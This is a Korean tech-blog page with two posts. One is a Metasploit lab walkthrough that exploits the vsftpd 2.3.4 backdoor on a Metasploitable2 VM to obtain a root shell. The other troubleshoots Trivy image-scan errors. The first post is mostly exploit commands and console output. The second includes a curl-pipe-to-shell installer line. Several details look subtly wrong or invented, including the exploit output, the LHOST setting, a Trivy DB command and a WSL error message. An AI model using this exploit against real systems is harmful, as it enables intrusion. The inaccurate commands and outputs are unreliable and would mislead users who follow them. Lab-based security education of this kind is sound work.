13년차의 서버실

서버, 인프라, 홈랩 기술 블로그

[태그:] 취약점 분석

  • [보안] Metasploit 프레임워크를 활용한 모의 해킹: 실제 공격 기법 분석

    [보안] Metasploit 프레임워크를 활용한 모의 해킹: 실제 공격 기법 분석

    [보안] Metasploit 프레임워크를 활용한 모의 해킹: 실제 공격 기법 분석

    안녕하세요, 13년차 서버실 지킴이입니다. 인프라 엔지니어로 일하다 보면 항상 이런 고민을 하거든요. ‘내가 구축하고 관리하는 시스템은 과연 안전할까?’ 말로만 보안을 외치는 게 아니라, 실제 공격자들이 어떤 방식으로 시스템의 약점을 파고드는지 직접 경험해봐야 방어 전략도 제대로 세울 수 있잖아요? 그래서 오늘은 Metasploit(메타스플로잇) 모의 해킹 프레임워크를 활용해서 실제 공격 기법을 분석하고, 이를 통해 우리 시스템의 보안을 어떻게 강화할 수 있을지 이야기해보려 합니다.

    물론, 여기서 한 가지 짚고 넘어가야 할 점이 있습니다. ⚠️ 본 글은 보안 학습과 본인이 관리하는 시스템의 방어를 위한 교육 목적입니다. 타인의 시스템에 대한 무단 접근·공격은 불법이며 법적 처벌 대상입니다. 저는 홈랩에서 다양한 기술을 직접 실험해보면서 얻은 경험들을 공유하는 것이니, 여러분도 반드시 허가된 환경에서만 테스트하시길 강력히 권고합니다. 저도 처음엔 멋모르고 이것저것 해보다가 아찔했던 경험이 있거든요. ㅎㅎ

    Metasploit 프레임워크 주요 구성 요소 및 워크플로우 다이어그램

    Metasploit 프레임워크는 다양한 모듈로 구성되어 모의 해킹 과정을 체계적으로 지원합니다.

    Metasploit 프레임워크란? 모의 해킹의 첫걸음

    Metasploit Framework(메타스플로잇 프레임워크, MSF)는 쉽게 말해 ‘모의 해킹 도구들의 종합 선물 세트’라고 보시면 됩니다. 수많은 취약점(Vulnerability)들을 공격하는 익스플로잇(Exploit) 코드와, 성공적으로 시스템에 침투했을 때 실행할 수 있는 다양한 페이로드(Payload)들을 모아놓은 오픈소스 프로젝트죠. 보안 전문가들이 Penetration Test(페네트레이션 테스트, 침투 테스트)를 수행할 때 가장 많이 활용하는 도구 중 하나입니다. 저도 제 홈랩의 가상 머신들을 대상으로 주기적으로 Metasploit을 돌려보면서 ‘아, 이렇게 뚫릴 수도 있겠구나’ 하고 깜짝 놀랄 때가 많습니다.

    Metasploit은 크게 다음과 같은 모듈들로 구성되어 있어요.

    • Exploits (익스플로잇): 특정 취약점을 공격해서 시스템에 침투하는 코드입니다. 예를 들어, 웹 서버의 특정 버전에서 발견된 버그를 이용해 원격 코드 실행(Remote Code Execution, RCE)을 시도하는 거죠.
    • Payloads (페이로드): 익스플로잇이 성공했을 때 대상 시스템에서 실행되는 악성 코드입니다. 쉘(Shell)을 얻거나, 백도어를 설치하거나, 시스템 정보를 빼내오는 등 다양한 목적을 가집니다. 대표적으로 Meterpreter(미터프리터)가 있는데, 이건 정말 강력한 후속 작업 도구더라고요.
    • Auxiliary (보조 모듈): 직접적인 공격보다는 정보 수집(Scanning), 퍼징(Fuzzing) 등 다양한 보조 작업을 수행하는 모듈입니다. Nmap으로 포트 스캔하는 것처럼, Metasploit 내에서도 다양한 스캔 기능을 제공해요.
    • Post (포스트 모듈): 침투에 성공한 후, 추가적인 정보 수집이나 권한 상승(Privilege Escalation) 등 후속 작업을 수행하는 모듈입니다.

    이 모듈들을 어떻게 조합하느냐에 따라 다양한 모의 해킹 시나리오를 만들어볼 수 있습니다. 아래 표에서 각 모듈의 역할을 좀 더 자세히 비교해볼게요.

    모듈 유형 주요 역할 예시 기능 실전 활용
    Exploit 취약점 공격 및 침투 원격 코드 실행, 버퍼 오버플로우 대상 시스템에 초기 접근 권한 획득
    Payload 침투 후 실행될 코드 쉘 연결, Meterpreter 세션, 데이터 유출 침투 성공 후 원하는 작업 수행
    Auxiliary 정보 수집 및 보조 작업 포트 스캔, 서비스 버전 확인, 로그인 무작위 대입 공격 전 대상 시스템 정보 파악
    Post 침투 후 추가 작업 권한 상승, 시스템 정보 수집, 흔적 삭제 초기 침투 후 시스템 내부 탐색 및 제어

    실전 구현: 가상 환경에서 취약점 공격 시연하기

    자, 이제 직접 Metasploit을 활용해서 취약점을 분석해보겠습니다. 저는 Kali Linux(칼리 리눅스) 환경에 Metasploit이 설치되어 있다고 가정하고, 제 홈랩에 있는 Metasploitable2(메타스플로이터블2)라는 고의적으로 취약하게 만들어진 가상 머신을 대상으로 테스트할 거예요. 이 Metasploitable2는 다양한 옛날 취약점들이 그대로 노출되어 있어서 학습용으로 정말 좋거든요.

    1. Metasploit 콘솔 실행

    먼저 터미널에서 msfconsole 명령어로 Metasploit 프레임워크 콘솔을 실행합니다. 처음 실행하면 데이터베이스 초기화 등으로 시간이 좀 걸릴 수 있어요. 저는 늘 이 로고를 보면서 ‘오늘도 뭔가 새로운 걸 배우겠구나’ 하고 기대하곤 합니다.

    
    # msfconsole
    
    # _______ _________ _______  _______ _________ _______  _______ 
    # (  ___  )\__   __/(  ____ \(  ___  )\__   __/(  ____ \(  ___  )
    # | (   ) |   ) (   | (    \/| (   ) |   ) (   | (    \/| (   ) |
    # | |   | |   | |   | (__    | |   | |   | |   | (__    | |   | |
    # | |   | |   | |   |  __)   | |   | |   | |   |  __)   | |   | |
    # | |   | |   | |   | (      | |   | |   | |   | (      | |   | |
    # | (___) |___) (___| (____/\| (___) |___) (___| (____/\| (___) |
    # (_______)_______/(_______/(_______)_______/(_______/(_______)_
    # 
    #       =[ metasploit v6.3.36-dev                          ]
    # + -- --=[ 2419 exploits - 1205 auxiliary - 404 post       ]
    # + -- --=[ 671 payloads - 45 encoders - 10 nops           ]
    # + -- --=[ 8 evasion                                      ]
    
    # msf6 > 
    

    2. 취약점 검색 및 익스플로잇 선택

    Metasploitable2에는 vsftpd 2.3.4 버전의 백도어 취약점이 존재해요. 이 취약점을 이용해서 침투를 시도해보겠습니다. 먼저 search 명령어로 관련 익스플로잇을 찾아봅니다.

    
    msf6 > search vsftpd
    
    Matching Modules
    ================
    
       #  Name                                  Disclosure Date  Rank    Check  Description
       --  ----
       0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  Yes    VSFTPD v2.3.4 Backdoor Command Execution
    
    
    msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
    msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
    

    use 명령어로 해당 익스플로잇을 선택하면 프롬프트가 바뀌는 걸 볼 수 있죠? 이제 이 익스플로잇에 필요한 옵션들을 설정해야 합니다.

    Metasploit 콘솔에서 vsftpd 익스플로잇 검색 및 옵션 설정 화면

    Metasploit 콘솔에서 익스플로잇을 선택하고 옵션을 설정하는 과정입니다.

    3. 공격 옵션 설정하기

    show options 명령어로 어떤 옵션들을 설정해야 하는지 확인합니다. 여기서 가장 중요한 건 RHOSTS(대상 IP 주소)와 LHOST(내 공격자 IP 주소)입니다.

    
    msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
    
    Module options (exploit/unix/ftp/vsftpd_234_backdoor):
    
       Name     Current Setting  Required  Description
       ----     ---------------  --------  -----------
       RHOSTS                    yes       The target host(s), range CIDR identifier
       RPORT    21               yes       The target port (TCP)
    
    
    Exploit target:
    
       Id  Name
       --  ----
       0   Automatic
    
    
    msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.100  # Metasploitable2 IP 주소
    RHOSTS => 192.168.1.100
    msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 192.168.1.50   # Kali Linux IP 주소
    LHOST => 192.168.1.50
    msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
    

    여기서 RHOSTS(원격 호스트)는 공격 대상 시스템의 IP 주소이고, LHOST(로컬 호스트)는 공격을 시도하는 Kali Linux 시스템의 IP 주소입니다. 저도 처음에는 이걸 헷갈려서 한참 삽질했었는데, 쉽게 생각해서 ‘공격받을 놈’은 RHOSTS, ‘공격할 놈(나)’은 LHOST라고 기억하시면 편할 거예요.

    4. 익스플로잇 실행 및 결과 확인

    모든 옵션 설정이 끝났으면 exploit 또는 run 명령어로 공격을 실행합니다. 성공하면 Command Shell Session(명령 쉘 세션)을 얻게 됩니다.

    
    msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
    
    [*] 192.168.1.100:21 - Backdoored VSFTPD v2.3.4 found
    [*] 192.168.1.100:21 - CMD: Trying command: id
    [*] 192.168.1.100:21 - CMD: Command output: uid=0(root) gid=0(root) groups=0(root)
    [+] 192.168.1.100:21 - CMD: Command shell session 1 opened (192.168.1.50:4444 -> 192.168.1.100:62000) at 2023-10-26 10:30:00 KST
    
    # command shell session 1
    id
    whoami
    pwd
    ls -al
    exit
    

    uid=0(root) 보이시나요? 이건 공격 대상 시스템에서 root(루트) 권한을 얻었다는 뜻입니다. 실제 환경이라면 정말 심각한 상황이죠. 이런 방식으로 공격이 성공하면, 공격자는 시스템의 모든 권한을 가지고 원하는 작업을 수행할 수 있습니다.

    ⚠️ 주의사항 및 트러블슈팅 팁

    제가 Metasploit을 사용하면서 겪었던 몇 가지 주의사항과 트러블슈팅 팁을 공유합니다.

    • 네트워크 설정: 가상 머신(Kali Linux, Metasploitable2) 간의 네트워크 설정은 정말 중요합니다. NAT(Network Address Translation) 모드보다는 Bridged(브리지) 모드로 설정해서 서로 같은 네트워크 대역에 있도록 하는 게 테스트하기 편하더라고요. IP 주소가 서로 통신 가능한지 ping 명령어로 꼭 확인하세요.
    • 방화벽 확인: 대상 시스템이나 공격자 시스템의 방화벽이 특정 포트를 막고 있지 않은지 확인해야 합니다. 특히 페이로드가 리버스 쉘(Reverse Shell)로 동작할 경우, 공격자(LHOST) 시스템의 특정 포트가 열려 있어야 대상 시스템에서 연결이 올 수 있습니다.
    • 익스플로잇 버전 호환성: 세상의 모든 취약점을 공격할 수 있는 만능 익스플로잇은 없습니다. 특정 익스플로잇은 특정 소프트웨어의 특정 버전에서만 동작해요. 따라서 정보 수집 단계에서 대상 시스템의 OS, 서비스, 버전 정보를 정확히 파악하는 것이 중요합니다. nmap -sV [대상 IP] 같은 명령어로 서비스 버전을 확인하는 습관을 들이세요.
    • 시스템 리소스: Metasploit은 꽤 많은 리소스를 사용합니다. 특히 Kali Linux를 VM으로 운영한다면, 충분한 RAM(최소 4GB)과 CPU 코어를 할당해주는 게 좋아요. 그렇지 않으면 콘솔이 버벅거리거나 익스플로잇 실행 중 멈추는 불상사가 생길 수 있습니다.

    검증 및 결과 분석: 방어 전략 수립

    이렇게 Metasploit을 통해 Command Shell을 얻는 과정을 경험하면, ‘아, 내 시스템의 이 부분이 이렇게 취약했구나’ 하고 직접적으로 느낄 수 있습니다. 제가 얻은 쉘 세션은 일종의 ‘발견된 취약점 보고서’ 같은 거죠. 단순히 ‘취약점이 있다’는 경고를 받는 것보다, 직접 침투에 성공하는 경험은 훨씬 강력한 동기 부여가 됩니다.

    이 결과는 다음과 같은 방어 전략을 세우는 데 활용될 수 있습니다.

    • 취약점 패치 및 업데이트: 이번 시나리오에서는 vsftpd 2.3.4의 백도어 취약점을 이용했는데, 이는 이미 오래전에 알려진 취약점입니다. 모든 소프트웨어는 최신 버전으로 유지하고, 보안 패치(Security Patch)를 즉시 적용하는 것이 가장 기본적인 방어입니다.
    • 불필요한 서비스 중지: 운영 중인 서버에서 사용하지 않는 서비스(FTP, Telnet 등)는 과감히 중지하거나 삭제해야 합니다. 공격 표면(Attack Surface)을 최소화하는 것이 중요하거든요.
    • 강력한 접근 제어: 관리자 계정의 비밀번호는 복잡하게 설정하고, SSH(Secure Shell)나 VPN(Virtual Private Network)을 통한 안전한 접근 방식을 강제해야 합니다.
    • 보안 솔루션 도입: IDS/IPS(침입 탐지/방지 시스템)나 WAF(웹 방화벽) 같은 보안 솔루션을 도입하여 비정상적인 트래픽이나 공격 시도를 탐지하고 차단하는 것도 중요합니다.
    모의 해킹 후 시스템 방어 전략 수립 인포그래픽

    모의 해킹으로 발견된 취약점은 시스템 방어 전략을 강화하는 중요한 밑거름이 됩니다.

    마무리하며: Metasploit, 방패를 벼리는 망치

    오늘은 Metasploit 모의 해킹 프레임워크를 활용해서 가상 환경에서 취약점을 분석하고, 실제 공격 기법을 이해하는 과정을 살펴봤습니다. 13년차 인프라 엔지니어로서 제가 늘 강조하는 건 ‘공격자의 시야’를 가져야 한다는 겁니다. 그래야 내 시스템의 약점을 제대로 파악하고, 강력한 방어책을 세울 수 있거든요. Metasploit은 그런 시야를 제공하는 아주 훌륭한 도구라고 생각합니다.

    이 글을 통해 Metasploit이 단순히 ‘해킹 도구’가 아니라, ‘보안을 강화하기 위한 강력한 학습 및 검증 도구’라는 점을 여러분이 느끼셨으면 좋겠습니다. 만약 여러분의 시스템에 어떤 취약점이 있는지 직접 파악하고 싶다면, 반드시 허가된 환경에서 Metasploit을 활용해보세요. 그 과정에서 얻는 인사이트는 어떤 보안 서적보다 값질 겁니다.

    다음 글에서는 Metasploit으로 찾은 취약점을 어떻게 막을지, 그리고 IDS/IPS(침입 탐지/방지 시스템)의 로그를 분석하여 공격을 탐지하는 방법에 대해 더 구체적으로 다뤄보겠습니다. 궁금한 점이 있다면 언제든지 댓글로 남겨주세요!

  • [보안] Trivy 이미지 스캔 시 흔히 발생하는 오류와 해결 방법

    [보안] Trivy 이미지 스캔 시 흔히 발생하는 오류와 해결 방법

    [컨테이너 보안] Trivy 이미지 스캔 오류 해결, 삽질 끝에 찾은 해법

    안녕하세요, 13년차 인프라 엔지니어 ’13년차의 서버실’ 주인장입니다. 오늘은 컨테이너 보안의 필수 도구인 Trivy를 사용하다가 흔히 겪을 수 있는 오류들과 제가 직접 삽질하며 찾아낸 해결 방법들을 공유해 보려고 합니다. 사실 처음에는 Trivy가 ‘딱 이거다!’ 싶을 정도로 간편하고 강력해 보였거든요. 그런데 막상 CI/CD 파이프라인에 물려서 쓰려니 예상치 못한 오류들이 툭툭 튀어나오더라고요. 꽤나 골머리를 앓았는데, 저와 같은 경험을 하신 분들이 분명 있을 거라 생각합니다. 혹시 Trivy 이미지 스캔 오류 때문에 밤잠 설치고 계신가요? 그렇다면 이 글이 큰 도움이 될 겁니다.

    ⚠️ 면책 문구: 본 글은 보안 학습과 본인이 관리하는 시스템의 방어를 위한 교육 목적입니다. 타인의 시스템에 대한 무단 접근이나 공격은 불법이며, 법적 처벌 대상이 될 수 있습니다. 모든 기술 활용은 윤리적이고 합법적인 범위 내에서 이루어져야 합니다.

    Trivy 컨테이너 이미지 보안 스캔의 전체적인 흐름을 보여주는 다이어그램입니다.

    Trivy, 컨테이너 보안의 든든한 파수꾼

    Trivy(트리비)는 Aqua Security에서 개발한 오픈소스 취약점 스캐너예요. 컨테이너 이미지뿐만 아니라 파일 시스템, Git 레포지토리, Kubernetes 클러스터, 심지어 IaC(Infrastructure as Code) 설정 파일까지 다양한 대상에서 취약점이나 설정 오류를 찾아내죠. 쉽게 말해, 우리가 만든 컨테이너 이미지가 혹시 모를 보안 구멍을 가지고 있지는 않은지, 혹은 개발 과정에서 실수로 취약한 라이브러리를 사용하진 않았는지 꼼꼼하게 검사해 주는 도구라고 보시면 됩니다.

    요즘처럼 컨테이너 기반의 애플리케이션 개발이 대세인 시대에, DevSecOps(데브섹옵스)는 선택이 아닌 필수가 되었어요. 개발 초기 단계부터 보안을 고려하지 않으면 나중에 훨씬 큰 비용과 시간을 들여야 하는 상황이 생기거든요. Trivy는 이런 DevSecOps를 실현하는 데 아주 효과적인 도구입니다. CI/CD 파이프라인에 Trivy를 통합하면, 이미지가 빌드되자마자 자동으로 취약점을 스캔하고, 문제가 발견되면 배포를 막거나 경고를 줄 수 있어요. 제가 홈랩에서 여러 프로젝트를 진행할 때도 Trivy 덕분에 심각한 보안 문제를 미리 잡아낼 수 있었던 경험이 꽤 많습니다.

    Trivy, 직접 설치하고 스캔해보기

    Trivy 설치도 진짜 간단해요. 저는 주로 macOS 환경에서 Homebrew를 사용하는데, 다른 OS에서도 금방 설치할 수 있습니다. 우분투 서버에서 apt를 이용하기도 하고, Docker 컨테이너로 실행하기도 하는데, 정말 편하더라고요!

    
    # macOS (Homebrew)
    brew install aquasecurity/trivy/trivy
    
    # Debian/Ubuntu (권장)
    curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh -s -- -b /usr/local/bin
    
    # Docker 컨테이너로 실행 (가장 유연함!)
    docker run --rm aquasecurity/trivy:latest --help
    

    설치가 완료되었으면, 이제 간단한 이미지 스캔을 해볼까요? 저는 보통 Nginx 공식 이미지를 많이 사용하는데, 이걸로 한번 테스트해봅시다.

    
    trivy image nginx:latest
    

    이 명령어를 실행하면 Nginx 이미지의 취약점들이 주르륵 나올 거예요. 처음에는 결과가 너무 많아서 당황할 수도 있는데, CRITICAL(치명적)이나 HIGH(높음) 등 심각도가 높은 것들부터 우선적으로 살펴보는 게 좋습니다. 저도 처음엔 수많은 결과에 압도돼서 뭘 먼저 봐야 할지 몰라 헤맸던 기억이 나네요. 하하.

    CI/CD 파이프라인에 Trivy가 통합된 워크플로우 다이어그램

    CI/CD 파이프라인 내 Trivy 스캔 단계를 시각적으로 보여주는 다이어그램입니다.

    ⚠️ 삽질 경험담: Trivy 이미지 스캔 시 흔히 겪는 오류와 해결책

    자, 이제 본론입니다. 제가 13년 동안 서버실에서 겪었던 수많은 삽질 중, Trivy 관련해서 가장 기억에 남는 오류들과 그 해결 방법들을 공유해 드릴게요. 정말 이거 때문에 밤샘도 몇 번 했었습니다. 여러분은 저처럼 고생하지 마시라고 자세히 알려드립니다.

    1. Docker 데몬 연결 오류 (`failed to analyze image: analyze image failed: …`)

    Trivy가 컨테이너 이미지를 스캔하려면 Docker 데몬(Daemon)에 접근할 수 있어야 합니다. 그런데 이 데몬이 제대로 실행되지 않았거나, Trivy를 실행하는 사용자에게 접근 권한(Permission)이 없을 때 이 오류가 발생하곤 해요.

    • 문제 상황: Error: failed to analyze image: analyze image failed: GET http://unix/v1.24/images/nginx:latest/json: dial unix /var/run/docker.sock: connect: permission denied
    • 원인: Docker 소켓 파일(/var/run/docker.sock)에 대한 권한 부족 또는 Docker 데몬 미실행.
    • 해결 방법:
      1. Docker 데몬 실행 확인: sudo systemctl status docker 명령으로 Docker 서비스가 활성화되어 있는지 확인합니다. 만약 실행 중이 아니라면 sudo systemctl start docker로 시작하세요.
      2. 사용자에게 Docker 그룹 권한 부여: 현재 사용자를 docker 그룹에 추가하여 소켓 파일에 접근할 수 있도록 합니다.
      3. 
        sudo usermod -aG docker $USER
        newgrp docker  # 또는 로그아웃 후 다시 로그인
        

    2. 이미지 Pull 오류 (`failed to analyze image: analyze image failed: GET https://registry-1.docker.io/v2/…`)

    Trivy는 스캔하기 전에 대상 이미지를 로컬로 가져옵니다(Pull). 이때 프라이빗 레지스트리(Private Registry)에 접근해야 하거나, 네트워크 방화벽(Firewall) 등의 문제로 이미지를 가져오지 못할 때 발생해요.

    • 문제 상황: Error: failed to analyze image: analyze image failed: GET https://registry-1.docker.io/v2/my-private-repo/my-image/manifests/latest: denied: requested access to the resource is denied
    • 원인: 레지스트리 인증 정보 누락, 네트워크 문제(프록시, 방화벽), 이미지 이름 오타.
    • 해결 방법:
      1. 레지스트리 로그인: 프라이빗 레지스트리인 경우 docker login <your-registry> 명령으로 로그인 정보를 Trivy가 사용할 수 있도록 해줍니다.
      2. 네트워크 설정 확인: 기업 환경에서는 프록시 서버(Proxy Server)를 통해 인터넷에 접속해야 하는 경우가 많아요. Trivy는 HTTP_PROXY, HTTPS_PROXY 환경 변수를 지원하므로 이를 설정해 주세요.
      3. 
        export HTTP_PROXY="http://proxy.example.com:8080"
        export HTTPS_PROXY="http://proxy.example.com:8080"
        trivy image my-private-repo/my-image:latest
        
      4. 방화벽 규칙 검토: 필요한 포트(예: 443, 80)가 열려 있는지 확인합니다.

    3. 취약점 데이터베이스(DB) 초기화 오류 (`failed to initialize vulnerability DB: …`)

    Trivy는 최신 취약점 정보를 스캔하기 위해 자체 데이터베이스를 사용합니다. 이 DB를 업데이트하거나 초기화하는 과정에서 문제가 생기면 스캔을 시작할 수 없어요.

    • 문제 상황: FATAL: failed to initialize vulnerability DB: failed to download vulnerability DB: failed to download DB from ...
    • 원인: 네트워크 연결 불량, Trivy DB 서버 접근 불가, 디스크 공간 부족.
    • 해결 방법:
      1. 네트워크 연결 확인: Trivy DB를 다운로드하는 URL(보통 GitHub 또는 Aqua Security CDN)에 접근 가능한지 ping이나 curl로 확인합니다.
      2. 디스크 공간 확인: df -h 명령으로 Trivy가 설치된 디렉토리(보통 ~/.cache/trivy)의 디스크 공간이 충분한지 확인해요.
      3. 수동 DB 업데이트 시도: 문제가 지속되면 DB를 수동으로 업데이트해 보세요.
      4. 
        trivy sbom --download-db-only
        

    4. WSL2 환경에서 Docker Desktop 없이 Trivy 사용 시 주의사항

    Windows Subsystem for Linux (WSL) 2 환경에서 Docker Desktop을 사용하지 않고 Trivy를 실행할 때, 저도 처음엔 이게 뭔가 싶었는데 이런 오류 메시지를 만날 수 있어요.

    • 문제 상황: FATAL: Trivy is not supported on Windows Subsystem for Linux (WSL) without Docker Desktop. Please install Docker Desktop or run Trivy in a container.
    • 원인: Trivy가 이미지 스캔을 위해 WSL2의 호스트 Docker 데몬에 접근해야 하는데, Docker Desktop이 설치되어 있지 않아 데몬을 찾지 못하는 경우예요.
    • 해결 방법:
      1. Docker Desktop 설치: 가장 권장되는 방법입니다. Docker Desktop을 설치하면 WSL2와 원활하게 통합되어 Trivy가 Docker 데몬을 쉽게 사용할 수 있어요.
      2. WSL2 내에 Docker Engine 직접 설치: 좀 더 복잡하지만, WSL2 배포판 안에 직접 Docker Engine을 설치하고 실행하는 방법도 있습니다. 이 경우 sudo service docker start 등으로 데몬을 수동으로 시작해야 할 수 있어요.
      3. Trivy를 Docker 컨테이너로 실행: 이 방법은 호스트의 Docker 데몬에 의존하지 않고 Trivy 자체를 컨테이너 안에서 실행하는 방식이라 유용합니다.
      4. 
        docker run --rm -v /var/run/docker.sock:/var/run/docker.sock aquasecurity/trivy:latest image nginx:latest
        

    이 외에도 `–skip-update` 옵션을 사용하여 DB 업데이트를 건너뛸 수 있지만, 이는 오래된 취약점 정보로 스캔하게 되므로 꼭 필요한 경우가 아니면 권장하지 않아요. 보안은 최신 정보가 생명이니까요!

    오류 해결 후, 스캔 결과 검증 및 해석

    숱한 삽질 끝에 드디어 Trivy 스캔이 성공적으로 완료되었다면, 이제 그 결과를 제대로 해석하는 것이 중요합니다. Trivy는 기본적으로 콘솔에 결과를 출력하지만, JSON, SARIF 등 다양한 포맷으로도 출력할 수 있어서 CI/CD 파이프라인에서 자동화된 분석에 아주 유용하게 쓰여요.

    
    trivy image --format json -o results.json my-image:latest
    
    Trivy 컨테이너 이미지 취약점 스캔 결과 예시

    Trivy 스캔 결과 보고서의 심각도별 취약점 목록을 시각화한 이미지입니다.

    결과를 볼 때는 다음 기준들을 중점적으로 살펴보세요.

    항목 설명 해석 및 권고
    Severity (심각도) CRITICAL, HIGH, MEDIUM, LOW, UNKNOWN CRITICAL, HIGH는 즉시 조치 필요. 심각한 보안 위협으로 이어질 수 있어요.
    Vulnerability ID (취약점 ID) CVE-YYYY-XXXXX 등의 고유 식별자 해당 ID로 NVD(National Vulnerability Database) 등에서 상세 정보를 검색하면 돼요.
    Installed Version (설치된 버전) 현재 이미지에 포함된 패키지 버전 취약점이 발견된 패키지의 버전입니다.
    Fixed Version (수정된 버전) 취약점이 패치된 패키지 버전 이 값이 존재한다면, 해당 버전으로 업데이트해야 해요. Fixed Version이 없으면 대안을 찾아야 합니다.
    Title (제목) 취약점에 대한 간략한 설명 취약점의 내용을 빠르게 파악할 수 있어요.

    특히 Fixed Version이 존재하는지 여부가 중요합니다. 만약 Fixed Version이 있다면 해당 패키지를 업데이트하는 것으로 대부분의 취약점을 해결할 수 있어요. 예를 들어, Nginx 이미지에서 OpenSSL 취약점이 발견되고 Fixed Version이 특정 버전이라면, Dockerfile에서 Nginx를 빌드할 때 OpenSSL을 해당 버전으로 명시하거나, 베이스 이미지를 최신으로 업데이트하는 등의 조치를 취하면 됩니다.

    Dockerfile 예시:

    
    FROM debian:bullseye-slim
    
    # 보안 패치를 포함한 패키지 업데이트
    RUN apt-get update && apt-get install -y --no-install-recommends \
        openssl \
        && rm -rf /var/lib/apt/lists/*
    
    # ... 나머지 Dockerfile 내용 ...
    

    또한, Trivy가 너무 많은 취약점을 보고하여 혼란스러울 때는 .trivyignore 파일을 활용하여 의도적인 False Positive(오탐)를 무시할 수도 있어요. 하지만 정말 필요한 경우에만 사용해야 하며, 신중하게 결정해야 합니다.

    마무리하며: 지속적인 관심이 최고의 보안입니다

    오늘은 Trivy 이미지 스캔 시 흔히 발생하는 오류와 해결 방법에 대해 제가 직접 겪었던 경험을 바탕으로 이야기해 봤습니다. 컨테이너 보안은 한 번 설정해두면 끝나는 게 아니라, 새로운 취약점이 끊임없이 발견되므로 지속적인 관심과 관리가 필요해요. Trivy는 이런 지속적인 보안 관리를 위한 훌륭한 도구임이 분명합니다.

    Trivy 오류 유형 및 해결 방법 요약 인포그래픽

    Trivy 사용 중 발생할 수 있는 주요 오류 유형과 그 해결책을 요약한 인포그래픽입니다.

    만약 여러분의 CI/CD 파이프라인에서 Trivy가 자꾸 에러를 뿜어낸다면, 이 글에서 제시된 해결 방법들을 하나씩 적용해 보세요. 대부분의 문제는 Docker 데몬 권한, 네트워크 설정, 또는 Trivy DB 업데이트 문제에서 비롯됩니다. 특히, Docker 데몬 연결 문제와 레지스트리 인증 문제는 제가 가장 많이 마주쳤던 케이스들이니, 이 부분들을 먼저 확인해 보시는 것을 추천합니다.

    저도 여전히 홈랩에서 새로운 기술을 실험하며 삽질을 거듭하고 있습니다. 그 과정에서 얻은 소중한 경험들은 앞으로도 ’13년차의 서버실’ 블로그를 통해 꾸준히 공유해 드릴게요. 다음번에는 Trivy를 이용한 Kubernetes 클러스터 보안 스캔에 대한 이야기를 다뤄볼까 합니다. 그때까지 모두 안전한 컨테이너 환경을 만드시길 바랍니다! 궁금한 점이 있다면 언제든지 댓글로 남겨주세요!